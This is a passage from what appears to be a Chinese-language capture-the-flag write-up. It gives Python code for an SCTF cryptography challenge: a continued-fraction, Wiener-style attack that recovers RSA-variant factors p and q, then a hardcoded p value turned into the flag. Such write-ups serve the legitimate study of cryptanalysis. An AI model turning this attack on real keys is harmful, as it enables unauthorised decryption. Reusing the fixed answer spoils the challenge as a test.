    for q in continued_fraction_seq:
        num1, num2 = q * num1 + num2, num1
        den1, den2 = q * den1 + den2, den1
        yield num1, den1

# 求解 d 和 k 的有效值
def find_valid_gifts(e, N):
    frac_gen = continued_fraction(e, N**2)
    for k, d in convergents(frac_gen):
        if k == 0 or (e * d - 1) % k != 0:
            continue
        yield (e * d - 1) // k

# 通过 gift 求解 p 和 q
def solve_pq(N, gift):
    p, q = symbols('p q')
    eq1 = Eq(N, p * q)
    eq2 = Eq((p**2 + p + 1) * (q**2 + q + 1), gift)
    return solve([eq1, eq2], (p, q))

# 主逻辑
valid_gifts = list(find_valid_gifts(e, N))
print(f"找到的有效 gift 值: {valid_gifts}")

# 仅演示第一个 gift 的 p, q 解法
for tmp in valid_gifts:
    solutions = solve_pq(N, tmp)
    print(f"对于 gift={tmp},求解的 p 和 q 为: {solutions}")

# 示例输出 flag
p_candidate = 5984758006806378809956519900535567746479053908385004504598524889746027259134602871258417614666511624425382102292754198444334667792470478919346145707972191
p_bytes = long_to_bytes(int(p_candidate))
flag = 'SCTF{' + md5(p_bytes).hexdigest() + '}'
print("生成的 flag:", flag)
Licensed under CC BY-NC-SA 4.0
使用 Hugo 构建
主题 StackJimmy 设计